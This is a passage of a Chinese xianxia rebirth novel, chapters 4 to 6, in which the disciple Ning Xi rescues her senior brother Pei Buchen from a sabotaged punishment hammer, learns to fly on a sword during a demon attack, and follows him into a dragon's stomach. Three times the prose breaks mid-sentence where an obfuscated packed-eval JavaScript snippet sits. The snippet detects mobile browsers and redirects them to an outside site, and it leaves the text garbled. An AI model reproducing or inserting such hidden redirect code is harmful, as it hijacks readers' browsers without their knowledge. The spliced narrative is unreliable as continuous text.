裴不沉毕竟是白玉京的首席弟子,可除了师弟师妹们自发为大师兄打抱不平之外,上面的掌门夫人与一众长老却尽皆沉默,丝毫不见关心。 究竟是对裴不沉太过放心,觉得他一定不会出事,还是另有隐情? 思索着,摆放剖心锤的宝架近在眼前。 “你说剖心锤有异,在哪里?” 宁汐心跳快了几分,慢吞吞走上前,站在宝架前,踮起脚,佯装够不着。 “别磨磨蹭蹭拖延时间!”赫连家弟子很是不满,厉声道,“若是被我发现你在扯谎,定饶不了你!” “灯光太暗,我看不清。” 众执刑弟子又骂咧咧去寻烛火了。 宁汐的心情有几分灰暗。 实在不行,就试试强闯吧。她心想,若是大师兄愿意的话,凭他的修为,要冲出此地也不无可能…… “师妹在想什么?” 她猛地转身,裴不沉不知何时站在了她背后,朝她温和一笑。 真是奇怪,明明他脚上还挂着铁链,怎么走到她身后一点声响也没有,跟个鬼飘过来似的。 宁汐抿唇不语。 裴不沉那双潋滟的柳叶眼又弯了一点,用只有两人能听见的低声道:“师妹在想着逃跑么?” 竟然被看出来了! 宁汐讶然地盯着他。 不过,大师兄似乎并无责怪之意? 剖心台上烛火未燃,昏暗一片,这地方又大,赫连家弟子只能分头寻找灯烛,一时顾不上看管他们。 机会难得,宁汐一狠心,直接道:“大师兄抱歉,骗了你,但我实在有苦衷,你不能受剖心锤……你、你会受伤的。” 她懊恼地咬后槽牙,心想这话说出来连她自己都觉得不可信。如此贸贸然一口咬定他会因剖心锤受伤,岂不是等同于怀疑他并非清白? 然而裴不沉静静地注视了她一会,表情有些奇怪:“师妹怕我受伤?” 宁汐语无伦次地点头,不知如何解释:“我不是不相信大师兄,只是、只是……” 千头万绪说不清,眼见不远处执刑弟子已经找到了灯台点亮,正朝两人走来。 宁汐头皮一麻,来不及多想,突然出手拔出置物架上的装饰宝剑,便裴不沉劈去。 裴不沉丝毫没躲,剑风拂过,吹起一缕鸦发。 “当啷——” 他脚腕上的铁链被斩断,坠落在地。 来不及解释,宁汐干脆捉住裴不沉的手腕,将他拉着往外跑:“大师兄,冒犯了!” 4. 妖祸 有点冰。 有点滑。 这是宁汐攥上裴不沉手腕后的第一感觉,触手的质感很奇怪,不像活人的皮肤,倒像是握住了一块滑润坚硬的玉石。 但她来不及想太多,一心只想着带裴不沉逃离此处。 身后裴不沉倒是没出声,估计也被她这胆大包天的举动给吓了一跳,没及时想出应对之法。 她拽着裴不沉一口气下了五级台阶,背后炸起一声惊呼。 “诶,居然真的有道裂缝!”执刑弟子奇道。 宁汐的脚步一顿,脚下险些踩空,幸好被身后的人拉了一把。 原本她握住裴不沉的手腕换成了裴不沉反握,大师兄将她拽好站直之后便松了手:“师妹小心。” 他侧耳听了一会剖心台上的动静,也有些讶异:“好像查到了剖心锤的损坏。要一起去看看是怎么回事吗?” 宁汐没料到这出乎意料的发展,呆呆点了头,才跟着他重新往回走。 剖心台上,大大小小烛台都亮了,映照得宝架上的剖心锤光华流转,绝非凡品。 然而那浑圆的锤身上趴着一道细微蜿蜒的裂痕,若非在烛火下仔细查看,压根看不出端倪。 持着烛台贴近检查剖心锤的弟子瞧见了赶回来的宁汐和裴不沉,冷哼一声:“倒真给你说中了。” 宁汐想了想,方道:“兴许是剖心锤年久失修。” 那弟子仍旧狐疑,不肯轻易放过:“这等上品仙器,选用原料、制作工艺无不讲究,怎么会说坏就坏?怕不是有心之人故意损坏、借以逃避罪责吧?!” 宁汐心想这可真是冤枉她了。 近年来仙门风平浪静,少出案件,剖心台也搁置不用,除了偶尔几个外门杂役弟子例行公事地打扫之外,几乎无人靠近。 谁能知道那锤子是怎么坏、又是什么时候坏的。 “器物之事,你我都是外行,多费口舌也无益。”裴不沉笑吟吟道,“不如先交给炼器峰,由峰内长老查验一二,再设法修补。” 也没有别的法子,那赫连弟子阴阳怪气道:“剖心之刑暂缓,但还请裴道友稍安勿躁,在嫌疑洗脱之前勿做他想。” 这话简直是明晃晃地将裴不沉当嫌疑犯看。 宁汐心想这人真是讨厌。 她又认出来他还是先前嘲笑她狂蜂浪蝶的家伙,不由得捏紧了拳头。 这厢她自顾自愤慨,当事人裴不沉反而不置可否,道:“那某便在此处稍等片刻。不过须得有人将剖心锤送往炼器峰,不知可否劳烦道友代行一趟?” 堂堂白玉京首席弟子如此客气相待,那弟子的虚荣心得到了极大满足,拿腔拿调地哼了一声,还是捧起剖心锤,又抛出本命剑,一跃而上,御剑升空,眨眼间到了剖心台边缘。 变故就在此刻发生。 砰—— 伴随一声巨响,剖心锤爆裂,锤身、飞剑以及飞剑之上的弟子顷刻间炸成了碎片。 一时之间,血肉横飞,好不惨烈。 呼救的,喊人的,叫嚷的……一片嘈乱之中,有人站在宁汐身后,轻叹了口气,举起手,虚虚覆盖在她眼前。 裴不沉依旧谦和守礼,并未与她肌肤相触,只是用宽大袖袍遮掩了她的视线。 一股清淡的白樱香漫过了铺天盖地的血腥味。 “怎么会……”宁汐思绪如乱麻。 “该是剖心锤有异。”裴不沉淡声道,“有人不想让剖心锤被送往炼器峰接受检查。” 宁汐大脑宕机片刻,才意识到他在说什么:“剖心锤不是年久失修,而是有人蓄意破坏?” 她恍然大悟,怪不得那样金贵坚硬的仙器会随随便便就裂开一条口子,还无人发现、还偏偏是在大师兄要受罚之前。 裴不沉轻笑。 为了替她遮挡血案现场,现下他二人站得极近,他的笑声听起来就像贴着她的耳畔发出。 他笑完,又道:“原来师妹不知道这些么?” 宁汐不知如何回应,只能干巴巴地“啊”了一声。 于是裴不沉又笑了,也不知道她的回答里有什么可令他愉悦的。 “那,大师兄可知道是谁毁了剖心锤?” “大概是同我有仇的人吧。” 听到了出乎意外的回答,宁汐不由得回头,对上裴不沉温和的笑脸。 思绪如游光飞电。 是了。 近年来剖心台早无人问津,剖心锤又是上古法器、损坏并非容易,一般人不会废老大一番功夫做这样吃力不讨好的事。 可若是为了谋害裴不沉,就另当别论了。 他是白玉京的大师兄,一鲸落而万物生,天之骄子,对他欣羡爱慕者有之,嫉妒恨忌者亦有之。 人心难测,历经前世种种,宁汐对这句箴言的体会再深刻不过。 她心里有些不是滋味,忍不住又瞧了裴不沉一眼。 这位美名远扬的大师兄有一张斯文笑脸,见之可亲,肤色白皙如玉,唯独眼圈下有些许乌黑。 常理而言,他已经是金丹修士,仙容永驻,施点术法祛除眼底青黑再简单不过,但不知为何他并未这样做,而是任由日夜操劳的痕迹留存。 这样想来,前世裴不沉在剖心台上受伤,并非意外,而是人为。 谁能与他仇深至此? 明明大师兄是那么好的人,爱护同门,扶危济困,除妖救人……竟还有人要害他! 胸腔堵得不行,宁汐脱口而出:“我会帮大师兄找到凶手!” 裴不沉讶然地扬眉,似乎没想到她会说这样的话。 袍袖遮挡的狭小阴影中,少女仰着素白的小脸,异色瞳澄澈如琥珀,认真地盯着他,承诺道:“我也不会再让大师兄死……受伤,我会保护大师兄!” 裴不沉沉默片刻,有些无奈地笑了。 他另一只空着的手抬起来,悬在她的脑袋上方,似乎想要摸摸她的脑袋,但最后还是没有,只是笑着收回手:“谢谢师妹。” * 剖心台上赫连家弟子骤死,惊动了身在问仙堂的一众大能。 裴不沉送宁汐下台后,便有人来唤,纵然刚从剖心台下逃过一劫,他也有许多事情要忙。 他同宁汐礼貌道了声别,便匆匆忙忙御剑而去了。 宁汐望着一瞬消失在天幕的那道光点,后知后觉地想起来竟还未同他说过自己的名字。 宁汐挠了挠头,正准备返回外门峰,却听见悠扬钟声响起,虚无缥缈的传音唱和:“仙人御行,凡人避让——” “昆仑丘代家主赫连亭川御行——” “空桑长老南宫沛御行——” “太极剑门公孙谐御行——” “逍遥药宗何圣姑御行——” …… 那道悠扬之音一连报出了十数个名字,皆是仙门之中赫赫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15669062|173063||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有名的大能,即使宁汐这样不关注外事的,也听见了几个耳熟名字。 她跟着其他白玉京弟子站在一处,恭敬低首垂目,听上方掌门训话,偶尔假装脖颈酸痛,微微抬起脑袋,偷瞄御剑飞在云端的仙人。 隔得太远了,她看不清那些人的面庞,只能用门派制服来勉强分辨。 金牡丹辉煌华丽、胭脂色薄纱长袍肆意随风飘扬的,自然是崇尚华美、喜好排场的昆仑丘赫连家。 宁汐耳朵敏锐,听见不远处几个一脸郁闷的赫连家弟子在议论剖心锤毁后的处置事宜。 剖心锤既毁,原本定下对裴不沉的刑讯只能取消。这命令是代家主赫连亭川亲口所说,赫连家弟子纵然再多不满,也尽数被按了下去,依照吩咐前去为同门收尸。 前世宁汐对世家之间纷繁复杂的人物关系一知半解,她生性喜静,与外人接触不多,对昆仑丘赫连家唯二相熟的便是她父亲的生前好友赫连清羽及未婚夫赫连为,只可惜今日他二人都没来。 待空中仙人飞过之后,聚集在问仙堂广场前的弟子三三两两散开,退场时除了偶有耳语,秩序井然。 安静之中,有人叫她的声音便格外明显:“喂,今日便是你发现的剖心锤有损?” 来人身姿笔挺,长发高束马尾,狭长的丹凤眼上挑,宛如一只昂首挺胸的高傲仙鹤。 宁汐认出那是早前站在请愿弟子前、同赫连家修士据理力争的女修。 女修朝宁汐出示了自己腰间的令牌,自我介绍也言简意赅:“炼器峰弟子林鹤凝。” “是。不知林师姐找我何事?” 林鹤凝道:“‘师姐’称呼就免了。你一个外门弟子,算不上正经白玉京门人。” 一上来就这样不好相处啊。 宁汐:“哦。” 林鹤凝道:“我奉命前来调查剖心锤损坏一事,你将今日发生一切都详细说来。” 炼器峰要查剖心锤,应该是想设法修补吧。宁汐未多怀疑,思索一番,慢慢将自己记得的都说了出来。 林鹤凝面无表情地听完,连声道谢也没有,转头就走。 宁汐习惯了这些内门弟子眼高于顶的态度,没往心里去,也顺着来路回了外门峰。 又是一番脚程,等她推开弟子居的门,里头没点灯,还是一片黑暗,估计室友全都赶去看热闹了还没回。 宁汐凭着自己藏食的记忆,从自己枕头底下掏出纸包的白面馒头,就着凉水胡乱啃了两口,倒头就睡。 闭眼前,心里充盈着幸福感。 重生的第一天,她就阻止了大师兄上剖心台。大师兄没受伤,也就不会引起白玉京与其他仙门之间的争端,这样一来,未来妖物袭击时白玉京不会在落入孤立无援的境地。 宁汐在被窝里默默给自己竖了一个大拇指。 接下来要担心的,就是妖物袭击白玉京了,她要如何才能避免前世师门被灭的惨剧…… 不过,妖物袭击是在三个月后、天枢八十四年的初春,留给她准备的时间还很充足。 越想越困,宁汐脑中混沌,渐渐睡了过去。 直到半夜,玄黄钟骤然长鸣。 宁汐险些从床上摔下来,灵台霎时清明。 这钟声,这钟声—— 前世,便是这浩荡的钟声响起过后,妖邪闯入了白玉京! 宁汐跪坐在床上,满脑子只有一个念头:怎么会这么快! 5. 御剑 白玉京的玄黄钟专为预警而设,受妖气侵扰而响。百年来,它只响过两次,一次是天枢四十一年,大妖阎野出世,妖气荼毒人间,百姓流离失所。 另一次,便是妖群攻入白玉京,导致白玉京覆灭。 还好宁汐回屋时到头就睡,身上外衣还没换,她直接跳下床,奔到门口,险些与推门进来的弟子撞个满怀。 “又、又是你!” 卫管事脸色煞白,下意识就捂住被宁汐用木簪划过的脖颈。 宁汐的目光不由得又落在那白嫩如削葱段的十指上,指甲上染的蔻丹艳红。 他面上还敷了厚厚一层白粉,几乎将他原本的五官糊得面目全非,宁汐辨认好一会,才勉强记起他的名字:“卫书师兄。” 外门峰弟子按照日常差事内容不同,分为浣洗、打扫、灵草种植、灵宠喂养、值夜巡逻等等组别,每组十人,各派一名年纪大的师兄担任管事。 卫书便是宁汐所在打扫组的管事。 前世宁汐与他交往不多,只有在给她安排任务时卫书才会出现在她面前,往往只颐指气使地丢下几句话,就不见人影。后来妖邪叛乱,卫书也死在了那场祸事中。 “你要出门?”卫书见她没再魔怔攻击自己,稍微安下心来,从鼻腔里妖妖娆娆地哼了一声,“正好,我这缺一个人手,跟我来吧。” 说完,他也不等宁汐答应,直接就扯着她往外走,跳上飞剑。 卫书是个碎嘴巴,一路絮絮叨叨,宁汐勉强听清了自己是要跟去百药园补缺。 “好死不死的妖邪!好死不死的玄黄钟这个时候响,老娘的美容觉都没的啦!”卫书骂骂咧咧,又抽空斜了宁汐一眼,啐一口,“看起来就笨手笨脚,要不是大半百药园弟子都赶赴前线战场救治伤病,也轮不到你来帮忙!” 宁汐垂在裙侧的手指微微收紧:“前线战况很激烈吗?” 卫书道:“差不多吧,也不知从哪里冒出来那么多妖物,东边山脚下护山大阵都被撕开了一个口子,剑峰、炼器峰、阵峰的内门弟子已经全数赶过去救援了。” 回想起前世血流成河、尸横遍野的景象,宁汐的喉间有些发紧:“那,不是还有其他宗门的门主长老们?大师兄之事尚未了结,他们应当还没走,能不能请他们帮忙——” “嗐,你懂什么。剖心锤一时半会修不好,人家大佬日理万机,怎么可能在这里空耗着干等,半个时辰内就各自回去了!” 宁汐的脸色一白:这么说,这一次白玉京又要孤军奋战?! 她先前所做的努力,难道还是无法改变结局么?! “真是人倒霉了连喝凉水都塞牙缝。大能前脚刚走,还没来得及喘口气呢就来了妖物入侵,一天天的全是差事,烦死了烦死了!” 卫书犹自抱怨不休,加快了御剑速度,夜晚凉风迎面吹来,宁汐不禁打了个哆嗦。 白玉京四季如春,喜种白樱,清凉的晚风中总是夹带着淡淡白樱香味。 唯有今日例外,风中一抹火药硝烟,令人难以忽视。 宁汐朝脚下望去,在她的右手边,远远的,暗紫色的妖气充斥了半边天,金红火光与剑气铮然爆发一瞬,金铁交织、妖兽嘶吼、人声呐喊不绝于耳。 那应该就是抵御妖物入侵白玉京的前线,东山脚护山大阵。 她飞得太高,无法辨认想找的人是否也在里面,犹豫片刻,还是开口道:“卫师兄,能不能放我下去,我想去一趟东山脚。” “你没听懂我方才说的吗?”卫书被她这无理取闹的请求给激出了一团火气,没好声道,“那里是前线战场!你我修为低微,去那里干什么,送死啊?” 卫书还想再骂几句,忽地记起身后这妮子拿木簪险些戳死自己的疯狂模样,硬生生吞了话,改而道:“你怕妖物闯进来?” “……” 其实她想的是裴不沉。 前世身带碎半心的重伤,大师兄依旧强撑上了战场,这一次他肯定也会去。 卫书:“杞人忧天。你知道负责修补护山大阵的是谁——大师兄!有他在,别说妖物了,就连一只蝇妖翅膀也飞不进来。” 宁汐默然不语。 是啊,他是整座白玉京仰仗的大师兄,八重樱开,无人能敌,而她连练气不入,哪里轮得到她替他操心。 只是,心中始终无法彻底安定。 为何与前世不同,妖物会提前袭击白玉京? 论起与前世命运的分叉起点,是这一回她成功从剖心台上救下了裴不沉。 这二者之间有关系么? …… 还是说,妖物提前袭击纯属偶然,只是她多想了? …… 反复思索无解,而百药园已经到了。 虽然已是午夜时分,整座百药园却灯火通明,人声鼎沸。其中奔走忙碌的弟子个个面无人色,抱着足足半人高的药方单子,脚不沾地似的一飘就过去了。 卫书扯着宁汐,往人群里挤,脚下踩着风火轮一般,自己先抓了一叠膏药和纱布抱在怀中,又不由分说塞给她一篓子黄绿相间的草药。 “刚采下来的就铺平晒干,已经晒好的就碾成药粉,都干完之后那边还有二十筐,今夜丑时之间做完!” 宁汐茫然地抱着药筐,像只没主的陀螺似的跟着卫书打转,等他连珠炮似的说完一整串安排,这才讷讷地应了一声。 大殿中央,早有许多同她一般着褐麻粗衣的外门弟子坐在蒲团之上,都在择药,手指动作如飞。 整座大殿,一时之间只有弟子埋头做事择药草的沙沙声,落针可闻。 在这样的环境中,宁汐只觉得自己格格不入,局促地在原地站了一会,才找到一方空闲的小蒲团,连忙踮着脚尖走了过去。 坐好之后,宁汐又偷偷瞄了几眼身边的弟子,像模像样地学着她的姿势挺直后背,开始挑选草药。 将枝叶干枯、已经晒过的单独放在一边……干了没一会,忽地听见殿外慌慌张张地传来人声。 “大妖!大妖阎野出世!掌门令我传讯,尔等莫要擅离岗位!” 宁汐手里的草药骤然掉在地上。 阎野,传闻中的上古大妖,据说原身是一只长数千里的应龙,吞吃修士凡民无数。 最重要的是,前世白玉京灭世之战,阎野也出现了,还以原型羽翅击中裴不沉,令他剑骨寸断。 宁汐豁然站了起来。 她怎么能将这件事给忘了! 虽然这一次裴不沉并非带伤上阵,可阎野之可怖、纵使整座白玉京也难以抵挡,万一大师兄再次对上阎野,又…… 万一呢? 宁汐坐立不安,幸好与她同样惊疑不定的还有许多人,她混在其中,倒也不算突兀。 能被安排在百药园做后勤的都是些修为不高、见识不多的年轻弟子,早已意动,寂静被打破后就立刻松懈下来,交头接耳。 “不是说阎野被咱们掌门打败过一次,断了半条尾巴,灰溜溜滚回妖族老巢了么,这次怎么又敢出现了?” “你问我我问谁?指不定就是来报断尾之仇的吧!俗话说三十年河东三十年河西,莫欺少年穷——” “少来了,阎野这头大妖肯定活了上千年,比你我祖宗加起来年纪都大,放屁的少年!” “言辞,注意言辞啊。” 宁汐从叽叽喳喳的人群中钻了出去,眼疾手快地捉住了那个报完信、正准备走的小弟子:“你可见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15669063|173063||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过大师兄?” 小弟子大概刚从战场上下来,身上脚上全是尘灰血污,突地被人抓住,还有些懵,下意识答道:“大师兄原本在东山脚主持修补护山大阵,听说阎野出世,便率人赶过去了。” 果然如此。 宁汐道了声“得罪”,干脆利落地夺了小弟子腰间的佩剑。 那小弟子整张脸霎时涨红。 抢他们剑修的剑,跟抢人老婆有什么区别! 可他刚下战场、又御剑奔来传讯,腿软得像两根面条,压根追不上步伐如飞的宁汐,只能眼睁睁看着少女夺了他的剑冲出殿门。 可恶! 小弟子欲哭无泪,心道果然娘亲说漂亮的女人都是母老虎! * 宁汐拔足狂奔,循着空气中血与铁的味道,往东山脚跑。 山道漆黑,栈筑日久,她险些被道上突出的砖石绊了一跤,手掌撑在石砖地面磨了一下。 好在她常年干活,掌心有一层薄薄的茧,除了有些火辣之外,没受什么伤。 她抬头望了一眼星位,估摸着已经过了子时,可距离东山脚还有一座山的距离,等她用两条腿跑到,恐怕战事早就结束了。 宁汐咬了咬牙,拔出那名弟子的佩剑,打算尝试御剑。 佩剑被她从主人身边夺走,不甘心地闪烁几下微弱光芒。 宁汐回忆着看过他人御剑的招式,并指念诀:“依托自然,万事万物,万生万灵,万象万行——因心而动,乘风而起!” 长剑躺在她掌中,一动不动。 宁汐咬了咬牙,再次催动。 “万生万灵,万象万行,因心而动,乘风而起!” 还是毫无反应。 “万生万灵,万象万行——因心而动,乘风而起!” …… 直到念得嗓音发哑,宁汐也不记得自己试了多少遍,灵府内始终如有一团泥丸堵塞,关窍不开。 她吞了口唾沫,尝到自己喉间的铁锈味。 她其实并不意外。若修炼御剑当真这样容易,她也就不会这么多年还是个外门弟子了。 当初她可是连入门根骨测试都没通过。 宁汐沮丧地看了一眼手中的长剑,又抬头望向东山脚的方向。 其实她离东山脚很近了,只是还隔着一座需要绕开的高山。 暗紫色的妖气比来时更加浓郁。 妖气可怖,其中似乎凝聚着千万扭曲的妖物面孔,张开幽深大口,每看一眼,都令人觉得它们即将吞没整个白玉京。 然而每一次铺天盖地的冲击,都被一道无形的障壁拦下。 障壁之下,凌空之中,立着一道白衣纷飞的身影。 宁汐的瞳孔缩紧了。 她没想到自己能看见大师兄裴不沉。 仅他一人执剑,便如千军万马。 妖气凝固一瞬,随即一只三层楼高的漆黑龙首自暗紫妖气中冲出,龙吟如雷,龙口如渊,直直咬向那小小的素色人影。 逐日剑光爆亮如白昼,与龙牙相格时发出令人牙酸的金石之声。 于此同时,黢黑山林之中,宁汐忽觉醍醐灌顶,灵台一点清明,内府淤堵散开。 她竟从裴不沉生死之间使出的剑招中悟道了! 灵犀闪现,身随心动,她果断咬破食指,将鲜血抹在佩剑之上,原本沉寂黯然的剑身,忽地爆出明光。 剑本凡铁,因执拿而通灵,因心而动,因血而活! 下一刻,宁汐双脚腾空。 晚风狂乱如流,吹起少女墨色的长发,澄澈如琥珀的异色瞳在夜色中灼灼发亮。 她第一次凭自己的力量御剑而行。 她终于可以去救他了! 6. 易碎 从未有过的畅快如同海啸,一股脑地席卷了全身。 宁汐站在飞剑之上,呼啸而过的夜风刮过少女柔嫩的面颊,刮得些微生疼,可这丝丝缕缕的痛楚转眼又化成了深入骨髓的兴奋。 外门弟子又怎样? 气海没开又怎样? 如今飞在空中的是她宁汐! 窄窄的飞剑越来越快,头顶是一望无垠的深沉夜空,脚下踩着的是仙门万千葳蕤灯火,宁汐慢慢张开双臂,任由狂风卷起她的粗褐麻衣。 她的嘴角越来越上扬,到最后,笑声克制不住地从她喉间溢出。 * 东山脚,护山大阵前。 半跪在地上的少年动作轻微一顿,似有所感地朝着远处望去,星辰万千倒映在他幽黑沉静的眸子中。 应龙断了一鳞,龙血滚烫,淅淅沥沥如岩浆落雨。 少年浑身浴血,紫色的妖血与自己鲜红的人血混在一处、不分你我,他却视若无睹,只沉静地、专注地望向群山之巅。 “裴不沉,你断老夫一鳞又如何?”应龙黄铜色的龙瞳中浮现出充满恶意地畅快,“你被老夫龙尾击中心口,天下无人能从这样的伤势下幸存!” 裴不沉反手拔出扎在心口的龙鳞,好似没了痛觉:“再来。” 应龙在妖云内翻滚,避过一道锋芒剑气,桀桀嗤笑:“既然方才都已经失了剑意,如今又何必苟且偷生?” “有人为我而来。”裴不沉道,轻轻摇了摇头,噙着笑,再次挥剑斩下,“所以,我突然又不想死了。” * 因为不会收剑,宁汐落地时刹不住脚,一路横冲直撞,直接冲进了一团厮打的妖物之间,摔了个四仰八叉。 原本打得红了眼的双方没意料突然闯入一个不速之客,刀剑爪喙一齐停了下来。 “……那个,打扰了。” 宁汐拍了拍屁股上的土,灰溜溜地捡起长剑,转身想溜。 “别在意我,请、请诸位继续。” 两只金翅鸟妖对视一眼,下一刻齐刷刷地亮出如利剑的长羽,狠狠朝宁汐刺来。 抢在宁汐躲闪之前,月白衣袍一闪,原本就在与金翅鸟妖缠斗的年轻修士飞身上前,持剑做旋,将飞溅的利羽击落。 “此处危险,师妹速走!” 白玉京中,有以霸凌弱小取乐的,也有学大师兄模样平等博爱、互助友爱的弟子。 宁汐来不及道谢,返身就往先前瞧见裴不沉的方向冲去。 身后的修士见她所去方向,气得不行,从缠斗的空隙里爆发一声呐喊:“我让你快逃,不是让你闯到战场中心去啊!” 如他所说,越靠近护山大阵,妖气便更浓郁,暗紫犹如浓雾遮天蔽月,宁汐只能凭着偶尔从妖雾中透出的一点金色阵法光亮辨认方向。 雾气中影影绰绰的,都是妖物的影子,偶尔有修士斩杀完妖物,瞥见宁汐,讶然地睁圆一双桃花眼:“哪来的漂亮妹妹——” “不对!”他猛地一甩脑袋,改换脸色,一本正经地呵斥:“此处不需要送药,外门弟子速速离开!” 宁汐知道对方是将自己错认成了百药园救治伤员的医修,她也没多解释,只道:“你知道大师兄在何处吗?” “啧,怎么漂亮的女修全是关心裴不沉那小子的……他没事啦。反倒是小妹妹你还没过炼气哦,此地刀剑无眼,万一把你那漂亮脸蛋给伤到哪里就怪可惜的了,还是赶紧走吧。” 宁汐对他的后半句话置若罔闻,只听见了自己想听见的:“大师兄没事?太好了!” 她拔腿又要走,却被那修士拦了下来,打量几眼,似乎看出了什么,奇道:“你不是百药园医修。那你来这里做什么?” 宁汐被问住了。 她想要来救大师兄……可她修为如此低微,连御剑都是刚刚才学会,她拿什么救大师兄? 天穹之上,不住有龙鳞暗光亮起,龙吟如雷隆隆,那修士又说了句什么,都被龙吟声盖过了,只好重重地用剑柄推宁汐的肩膀,再次很大声地质问。 宁汐仔细听了好半天,才勉强听清了半句:“……是不是妖物派来的奸细?!” “我不是,我只是想救——” 那修士却没了最初的嬉笑神色,不肯让她再前进半分。 就在此时,另一个浑身血污的修士急匆匆跑来:“阎野被大师兄斩断一鳞,狂性大发,大师兄被龙尾扫中心口!” 宁汐脑中嗡鸣一声。 “因心而动,乘风而起,御剑行!” “干什么!在战场上御剑,不要命了!” 修士眼睁睁见着那方才还唯唯诺诺的小师妹浑似变了个人似的,御剑如迅光,头也不会地扎进了龙吟之处。 他气急攻心,又不能学着宁汐不要命的法子往战场中心闯,只好点了几个弟子,随他返身援救裴不沉。 宁汐压根没听见那修士的呼喊,她第一次御剑而行,也没人告诉过她相关禁忌,更不知道在战场之上人人都不愿意御剑、因为那样容易成为所有妖物的活靶子。 她飞到一半,身后就袭来一阵腥风。 生死存亡之间,她操纵着飞剑一个急转,错身而过的瞬间,她看清了眼前的东西,震惊地睁大眼睛。 本该在护山大阵的应龙阎野不知为何竟然出现在她的身后。 巨大的应龙桀桀发笑,口吐人言:“老夫和那小子打了这么久,饿得不行。你这小道姑长得倒是漂亮,吃起来一定也美味得很。” 宁汐脚下飞剑骤然停住。 妖威如山,朝她压来,纵然宁汐能克制心潮,身体却已经不受控的半跪在地。 上下牙关都在恐惧中咯咯作响,宁汐却仍然要开口说话:“我大师兄裴、裴不沉如何了!” 阎野见她不逃,反而来了趣味。 反正都是掌中之物,临死前逗弄一回也无妨。 “那小子啊,被我吃了。” 似乎为了佐证他的话,阎野懒洋洋地张开巨口,向宁汐展示牙缝中塞着的一片月白锦袍。 而宁汐想也不想,一剑扎进阎野的牙龈。 应龙压根没料到单薄瘦弱的小姑娘出手如此狠绝,顿时龙血狂飙,痛声尖啸。 而宁汐借着他张口痛呼的一瞬间,两眼一闭,直接滑进了巨龙的食道。 黑暗,腥臭,濡湿,狭窄。 不适感犹如跗骨之俎,密不透风地包裹她的全身。 她顺着暗红的长管一路下滑,宛如朝着地狱下坠。 仿佛永无尽头,又仿佛只过了一瞬间,“噗通”一声,她落进了一个臭不可闻的大池子里。 宁汐呼吸紧闭,还没来得及使上自创的狗刨游水,就被人拽着衣领拎了起来。 即使在这样闷热恶臭的地狱里,裴不沉依旧一尘不染。 他站在用术法化出的浮舟之上,胸口只有星星点点的血痕,依旧玉冠高束,只是那双素来温和无波的柳叶眼满是震惊:“宁师妹?!” 宁汐没头没脑地“啊”了一声。 裴不沉的呼吸停了一瞬,单手青筋暴起,攥着她衣领的手指好半天没松开。 于是宁汐被吊在半空,一张素白小脸被勒得微红,裴不沉才将她放回浮舟里。 他的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15669064|173063||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 语气十分严肃:“我应该下过令,练气期以下弟子不得进入东山脚,宁师妹怎么还会在这里?” 宁汐不知如何作答,哑口无言好半天,试图拙劣地岔开话题:“……大师兄你知道我姓宁啊。” 裴不沉显然被她这跳脱的脑回路给噎了一下,松开攥紧她衣领的手,改成扶额苦笑,又像是被她气笑了。 宁汐自知理亏,赶紧端正地跪坐好了,眼观鼻鼻观心地盯着虚空发呆。 许久,裴不沉在她头顶幽幽叹了口气:“白日你我见过面后,我便差人去主事堂调了你的记录文书。” 哦,所以他知道自己姓甚名谁,也知道自己是个练气都没入的外门小弟子。 宁汐点头。 裴不沉又问:“自己闯进来的?” 宁汐:“嗯。” 裴不沉:“没受伤?” 宁汐:“嗯……运气好。” 裴不沉随即轻轻吸了一口气,似乎有些不高兴:“命数之言,虚无缥缈,刀剑妖邪却是实打实会杀人的。 运气……呵,师妹不该将自己的安危全系在这般东西上。” 这是在委婉地教训她鲁莽了,宁汐尴尬地抠手指,点头称是。 裴不沉又叹了口气,为她施了清洁术,有些清洁术顾不到的地方,他便蹲下身来,从袖中取出素帕子为她擦干发丝。 这是第二回她与大师兄离得这样近,近到可以看清她从前没能看见的细节。 裴不沉的发色其实很黑,额发留得偏长又细碎,低着头、侧面看时,发丝就会将那双温柔的柳叶眼遮住大半。 在漆黑如鸦羽的发色衬托下,更显得他整个人如雪似的冷白,面皮、耳廓、脖颈、手腕,处处都白得耀眼,身在腌臜幽暗的龙胃,仿佛地狱中、一轮移动的明月。 裴不沉细心地替她擦干净发上最后一缕水汽,才抬眼看她:“师妹真的没受伤?” 这样反复追问,他这是把自己当成不能自理的小孩子了? 宁汐有些脸热,连忙摇头:“没有。倒是师兄你无恙吧?我听说阎野用断尾扫中了你的胸骨……” 裴不沉看了她良久,才温声道:“师妹就是听了这个消息,才闯到东山脚、又跳进龙胃里来的?” “嗯。” 裴不沉再次沉默,又过了好一会,开口道:“这样很危险,以后别这么做了。” 虽然这么说,可宁汐觉得他看起来并没有不高兴。 